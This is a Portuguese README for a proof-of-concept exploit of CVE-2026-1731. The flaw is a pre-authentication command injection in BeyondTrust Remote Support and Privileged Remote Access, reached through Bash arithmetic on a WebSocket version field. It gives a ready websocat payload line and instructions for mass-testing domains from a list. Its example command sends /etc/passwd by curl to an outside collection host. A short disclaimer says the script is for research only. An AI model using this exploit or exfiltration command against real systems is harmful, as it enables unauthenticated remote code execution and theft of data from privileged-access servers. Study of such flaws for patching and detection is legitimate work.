
CVE-2026-1731 - Vulnerabilidade crítica de injeção de comandos no BeyondTrust Remote Support e no Privileged Remote Access devido à avaliação insegura de aritmética Bash em um script acessível via WebSocket
[!WARNING] Este script destina-se exclusivamente a fins educacionais e de pesquisa. Não o utilize contra sistemas sem permissão explícita. Acesso ou testes não autorizados são ilegais e antiéticos. Leia o DISCLAIMER completo antes de usar este script.
Este script demonstra uma vulnerabilidade crítica de injeção de comandos (CVE-2026-1731) que afeta o BeyondTrust Remote Support (RS) e o Privileged Remote Access (PRA). O problema se origina no mesmo endpoint acessível via WebSocket envolvido na anterior vulnerabilidade de alto perfil CVE-2024-12356, tornando esta uma variante intimamente relacionada.
A vulnerabilidade existe porque o script thin-scc-wrapper do servidor realiza comparações aritméticas em dados controlados pelo atacante, especificamente no valor remoteVersion enviado durante o handshake do WebSocket. O Bash trata operandos em comparações numéricas como expressões, não como strings simples, o que permite que payloads elaborados como a[$(cmd)]0 acionem a execução arbitrária de comandos durante a avaliação.
Embora a BeyondTrust tenha adicionado uma verificação numérica de sanidade neste ciclo de patch, isso não impede que o Bash realize a avaliação de expressões posteriormente, deixando o endpoint explorável. Atacantes podem obter execução de código simplesmente abrindo uma conexão WebSocket e enviando um valor de versão malicioso antes da autenticação.
echo -ne "hax[\$(ATTACKER-COMMAND)]\naaaaaaaa-aaaa-aaaa-aaaaaaaaaaaa\n0\naaaa\n" | \
./websocat -k wss://AFFECTED-SYSTEM:443/nw \
--protocol "ingredi support desk customer thin" \
-H "X-Ns-Company: COMPANY-NAME" \
--binary -n -
pip3 install requests
wget -O websocat https://github.com/vi/websocat/releases/download/v1.14.1/websocat.x86_64-unknown-linux-musl
chmod +x websocat
(Coloque-o na mesma pasta do seu script Python.)
Ou mova-o para todo o sistema:
sudo mv websocat /usr/local/bin/
domains.txt no mesmo diretórioAdicione as URLs que deseja testar:
example1.com
example2.com
example3.com
Edite a seguinte linha no script para configurar o comando que você deseja que o exploit WebSocket execute:
CMD = "YOUR-COMMAND-HERE"
Por exemplo:
CMD = "curl -X POST -d @/etc/passwd http://XXXXXXXXX.oast.fun/"
Depois de definir o comando, execute o script:
python3 exploit.py
Ou torne-o executável e execute-o diretamente:
chmod +x exploit.py
./exploit.py

